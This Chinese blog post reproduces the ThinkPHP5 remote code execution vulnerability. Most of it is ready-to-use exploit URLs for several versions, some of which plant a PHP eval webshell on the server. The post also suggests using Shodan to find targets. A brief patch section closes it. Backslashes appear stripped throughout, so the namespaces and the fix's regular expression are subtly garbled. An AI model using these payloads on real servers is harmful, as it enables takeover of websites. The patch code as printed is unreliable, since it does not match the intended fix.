ThinkPHP5 RCE漏洞重现及分析—Hack之路

ThinkPHP5 RCE漏洞重现及分析

0x01 影响范围

5.x < 5.1.31

5.x < 5.0.23

以及基于ThinkPHP5 二次开发的cms,如AdminLTE后台管理系统、thinkcmf、ThinkSNS等。

shodan一下

ThinkPHP5 RCE漏洞重现及分析---Hack之路

0x02 漏洞重现

win7+thinkphp5.1.24

(1)执行phpinfo

/index.php/?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP5 RCE漏洞重现及分析---Hack之路

(2)写一句话木马

/index.php/?s=index/thinktemplatedriverfile/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’

ThinkPHP5 RCE漏洞重现及分析---Hack之路

debian+thinkphp5.1.30

(1)执行phpinfo

/index.php/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP5 RCE漏洞重现及分析---Hack之路

(2)写一句话木马

/index.php/?s=index/thinktemplatedriverfile/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>

ThinkPHP5 RCE漏洞重现及分析---Hack之路

win7+thinkphp5.0.16

(1)执行phpinfo

/index.php/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP5 RCE漏洞重现及分析---Hack之路

(2)写一句话木马

/index.php/?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>

ThinkPHP5 RCE漏洞重现及分析---Hack之路

0x03 修复方案

1. 直接git/composer更新

2. 手工修复

5.1版本

在thinkroutedispatchUrl类的parseUrl方法,解析控制器后加上

if ($controller && !preg_match(‘/^[A-Za-z](w|.)*$/’, $controller)) {

throw new HttpException(404, ‘controller not exists:’ . $controller);}

5.0版本

在thinkApp类的module方法的获取控制器的代码后面加上

if (!preg_match(‘/^[A-Za-z](w|.)*$/’, $controller)) {

throw new HttpException(404, ‘controller not exists:’ . $controller);}

如果改完后404,尝试修改正则,加上/

if (!preg_match(‘/^[A-Za-z/](w|.)*$/’, $controller)) {

 

网站地址:https://www.hackzl.cn;发布者:hack之路,转转请注明出处:https://www.hackzl.cn/index.php/2020/10/01/thinkphp5-rce%e6%bc%8f%e6%b4%9e%e9%87%8d%e7%8e%b0%e5%8f%8a%e5%88%86%e6%9e%90-hack%e4%b9%8b%e8%b7%af/

发表评论

邮箱地址不会被公开。 必填项已用*标注